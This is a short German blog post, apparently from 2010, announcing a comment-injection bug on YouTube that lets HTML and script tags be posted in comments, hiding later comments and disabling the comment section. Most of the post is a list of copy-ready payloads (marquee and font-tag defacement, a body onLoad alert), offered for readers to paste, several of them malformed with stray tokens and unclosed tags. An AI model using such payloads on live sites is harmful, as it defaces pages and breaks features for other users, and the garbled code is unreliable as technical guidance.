Bildschirmfoto 2010 03 31 um 23.14.45 Youtube Kommentar Exploit gefunden

Soeben, habe ich einen hochbrisanten Youtube Bug gefunden. Es handelt sich dabei um ein Exploit, welches es ermöglicht, mittels Javascript, HTML Tags, in Kommentare einzubauen. Somit kann man beispielsweise, <marquee> Tag einbauen, welches den Text, animiert. Ausserdem kann man die Schriftgröße mittels <h1> festlegen. Als wäre das nicht schon krass, werden, alle anderen Kommentare darunter nicht mehr angezeigt, und die Kommentar funktion ist deaktiviert.

Der Code um dies zu tuen ist:

Normal:
<script>IF_HTML_FUNCTION?<h1><marquee><font color=”red”><u>*enter your comment here*<script>
Kürzer:
<script><h1><marquee><font color=”red”><u>*enter your comment here*<script>
Schriftgröße:
<script><h1><marquee><font size=” “><u>comment<script>
Warnmeldung:
<script><BODY onLoad=”alert(‘INSERT COMMENT HERE”‘);”
Seitenfehler::
<script>IF_HTML_FUNCTION?<xmp><script>
Es handelt sich dabei wirklich um einen grosses Problem, um das sich Youtube wahrscheinlich bereits jetzt kümmern wird.
Gefunden habe ich es zum ersten Mal hier:
http://www.youtube.com/watch?v=ukW04nnjFmo
Bildschirmfoto 2010 07 04 um 14.11.31 Youtube Kommentar Exploit gefunden